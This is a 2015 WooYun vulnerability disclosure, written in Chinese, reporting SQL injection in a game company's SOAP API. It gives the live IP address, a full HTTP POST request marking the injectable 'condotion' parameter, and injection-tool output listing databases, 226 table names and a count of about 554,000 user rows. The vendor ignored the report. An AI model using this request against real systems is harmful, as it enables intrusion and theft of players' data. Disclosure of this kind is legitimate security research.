当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153246

漏洞标题：乐动卓越某接口存在SQL注入（55万用户数据泄露)

相关厂商：北京乐动卓越科技有限公司

漏洞作者： niexinming

提交时间：2015-11-11 09:24

修复时间：2015-11-24 06:18

公开时间：2015-11-24 06:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-11： 细节已通知厂商并且等待厂商处理中
2015-11-24： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

看到了充了很多钱的rmb玩家，心情很复杂，然而我并不是个爱玩游戏的码农。
今天又在乌云打卡了！！！！审核漏洞的那个帅锅，镁铝，早晨好，上午好，中午好，下午好，晚上好，凌晨好……………………（我是逗比，我自豪）

详细说明：

http://210.14.138.145:82/
这个ip的的soap服务有注入漏洞

POST /Api.svc HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/IApi/SysteMtMailInfo"
Content-Length: 894
Host: 210.14.138.145:82
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/" xmlns:urn2="http://schemas.microsoft.com/2003/10/Serialization/">
     <SOAP-ENV:Header/>
     <SOAP-ENV:Body>
        <urn:SysteMtMailInfo>
           <urn:serverId>1</urn:serverId>
           <urn:condotion>注入点</urn:condotion>
        </urn:SysteMtMailInfo>
     </SOAP-ENV:Body>
</SOAP-ENV:Envelope>


QQ20151111-0@2x.png


QQ20151111-1@2x.png


QQ20151111-2@2x.png

漏洞证明：

数据库：

available databases [6]:
[*] information_schema
[*] mtdb_apple
[*] mysql
[*] test
[*] tmp_wudaohui_db
[*] zhuanfu
mtdb_apple的表：
Database: mtdb_apple
[226 tables]
+-------------------------------------+
| Clear_user_stat                     |
| activelog                           |
| activelog_20130814                  |
| db_card_sum20151028                 |
| db_clear_user_detail                |
| db_shenji_user_20141101             |
| db_shenji_user_20141201             |
| db_shenji_userext_20141101          |
| db_t_user_20151110                  |
| db_t_user_sum_capskill              |
| db_tmp_t_card_20150205              |
| db_tmp_t_card_talent_20150205       |
| db_tmp_t_card_talent_skill_20150205 |
| db_tmp_t_user_20140901              |
| db_tmp_t_user_ext_20140901          |
| db_user_20140701                    |
| db_waigua_user                      |
| shenji_user_20140801                |
| shenji_user_20150201                |
| shenji_user_20150301                |
| shenji_user_20150401                |
| shenji_user_20150501                |
| shenji_user_20150601                |
| shenji_user_20150701                |
| shenji_user_20150801                |
| shenji_user_20150901                |
| shenji_user_20151001                |
| shenji_user_20151101                |
| shenji_user_ext_20150501            |
| stat                                |
| stat10                              |
| t_achievement                       |
| t_achievementmedal                  |
| t_achievementparainfo               |
| t_achievementprize                  |
| t_active_degree                     |
| t_active_degree_list                |
| t_active_quest                      |
| t_active_quest_index                |
| t_active_quest_pre                  |
| t_activity_info                     |
| t_apnstoken                         |
| t_arena_rank_shop_record            |
| t_arenaenterinfo                    |
| t_arenainfo                         |
| t_arenaladderstatus                 |
| t_arenamarkreward                   |
| t_auction_history                   |
| t_auction_item                      |
| t_auction_user                      |
| t_award_prize_record                |
| t_battleoutsupport                  |
| t_burnexpeditionshop                |
| t_card0                             |
| t_card1                             |
| t_card2                             |
| t_card3                             |
| t_card4                             |
| t_card5                             |
| t_card6                             |
| t_card7                             |
| t_card8                             |
| t_card9                             |
| t_card_talent                       |
| t_card_talent_skill                 |
| t_cardequipment                     |
| t_cashgift_and_matereturn           |
| t_chip                              |
| t_chum                              |
| t_confraternitybidup                |
| t_confraternitychannelinfo          |
| t_confraternityinfo                 |
| t_confraternitymemberinfo           |
| t_contiloginlist                    |
| t_contribution_shop_record          |
| t_cumulativeloginlist               |
| t_duplicate                         |
| t_duptrench                         |
| t_equip_chips                       |
| t_eventduplicate                    |
| t_eventduptrench                    |
| t_everyday                          |
| t_firstpay                          |
| t_forbiduser                        |
| t_foreigncurrencybuy                |
| t_friend                            |
| t_friendlist                        |
| t_friendreq                         |
| t_gemstone                          |
| t_guild_dup_attack_times            |
| t_guild_shop_buy                    |
| t_guild_skill                       |
| t_guildduplicateinfo                |
| t_guildfbrankinfo                   |
| t_guilduserband                     |
| t_guilduserbandfb                   |
| t_guilvsguild_record                |
| t_honourshopbuyinfo                 |
| t_http_prize_record                 |
| t_iap                               |
| t_inner_activity_record             |
| t_inviteid                          |
| t_inviteprize                       |
| t_item                              |
| t_lastconfraternitybidup            |
| t_lbs                               |
| t_lbs_msg                           |
| t_lifeskill                         |
| t_lootaim                           |
| t_lootenemy                         |
| t_material                          |
| t_perbaseshopping                   |
| t_personalbase                      |
| t_pet                               |
| t_pet_attribute                     |
| t_pet_capture                       |
| t_pet_misc                          |
| t_pet_skill                         |
| t_pet_zone                          |
| t_phoneinvite                       |
| t_phoneinvitecount                  |
| t_phoneinviteprize                  |
| t_phonelist                         |
| t_playpvpreport                     |
| t_prinlinequestinfo                 |
| t_prinlinequeststatus               |
| t_quest                             |
| t_quest_list0                       |
| t_quest_list1                       |
| t_quest_list2                       |
| t_quest_list3                       |
| t_quest_list4                       |
| t_quest_list5                       |
| t_record_count                      |
| t_redbagallrecord                   |
| t_redbagawardcount                  |
| t_redbagmoney                       |
| t_redbagmyrecord                    |
| t_reqchum                           |
| t_runes                             |
| t_runeshole                         |
| t_runeslang                         |
| t_scoreshopbuyinfo                  |
| t_secret_shop_list                  |
| t_secret_shop_record                |
| t_sendcard                          |
| t_sendphy                           |
| t_serveraward                       |
| t_sgininaward                       |
| t_sginindata                        |
| t_shake_record                      |
| t_shaketree_prizerecord             |
| t_singuildduplicateinfo             |
| t_specfbinfo                        |
| t_specfbrankinfo                    |
| t_suit                              |
| t_summonbossfriendband              |
| t_summonbossinfo                    |
| t_summonbossprizeinfo               |
| t_systemdata                        |
| t_systememail                       |
| t_user                              |
| t_user_expand                       |
| t_user_ext                          |
| t_user_team                         |
| t_user_variable_award               |
| t_userapplyconfraternity            |
| t_userarenaladder                   |
| t_userarenascorereward              |
| t_useraward                         |
| t_userconfraternityinvite           |
| t_useremail                         |
| t_userid_cardid                     |
| t_variable_award                    |
| t_vip_gift                          |
| t_wudaohuistatus                    |
| tmp_20150108_card                   |
| tmp_20150206_equipchip_bug          |
| tmp_a                               |
| tmp_b                               |
| tmp_c                               |
| tmp_d                               |
| tmp_db_sum_20151028                 |
| tmp_delete_userid                   |
| tmp_duplicate_20130820              |
| tmp_err_useraward                   |
| tmp_fengting_20140729               |
| tmp_guilvsguild_record_20150403     |
| tmp_laowanjia_20140911              |
| tmp_nofajianguserid                 |
| tmp_orange_card_1                   |
| tmp_orange_card_2                   |
| tmp_orange_card_3                   |
| tmp_shenji_t_user_20150101          |
| tmp_shenji_t_user_ext_20150101      |
| tmp_t_card                          |
| tmp_t_card0_1001                    |
| tmp_t_card1_1001                    |
| tmp_t_card2_1001                    |
| tmp_t_card3_1001                    |
| tmp_t_card4_1001                    |
| tmp_t_card5_1001                    |
| tmp_t_card6_1001                    |
| tmp_t_card7_1001                    |
| tmp_t_card8_1001                    |
| tmp_t_card9_1001                    |
| tmp_t_cardequipment1001             |
| tmp_t_inviteid_20140702             |
| tmp_t_item1001                      |
| tmp_t_item_20150115                 |
| tmp_t_quest_list_20150326           |
| tmp_t_user1001                      |
| tmp_t_user_err1001                  |
| tmp_t_user_ext1001                  |
| tmp_tquest0_20150326                |
| tmp_tquest1_20150326                |
| tmp_tquest2_20150326                |
| tmp_tquest3_20150326                |
| tmp_tquest4_20150326                |
| tmp_tquest5_20150326                |
| tmp_user_20140930                   |
| tmp_user_backup_20150727            |
| tmp_user_err                        |
| tmp_userid_20150326                 |
| tmp_vip_20140925                    |
| tmp_wudaohui_userid                 |
+-------------------------------------+


t_user表中55万的用户：
the SQL query used returns 553837 entries
这么多，啦啦啦啦

修复方案：

过滤，骚年

版权声明：转载请注明来源 niexinming@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-24 06:18

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无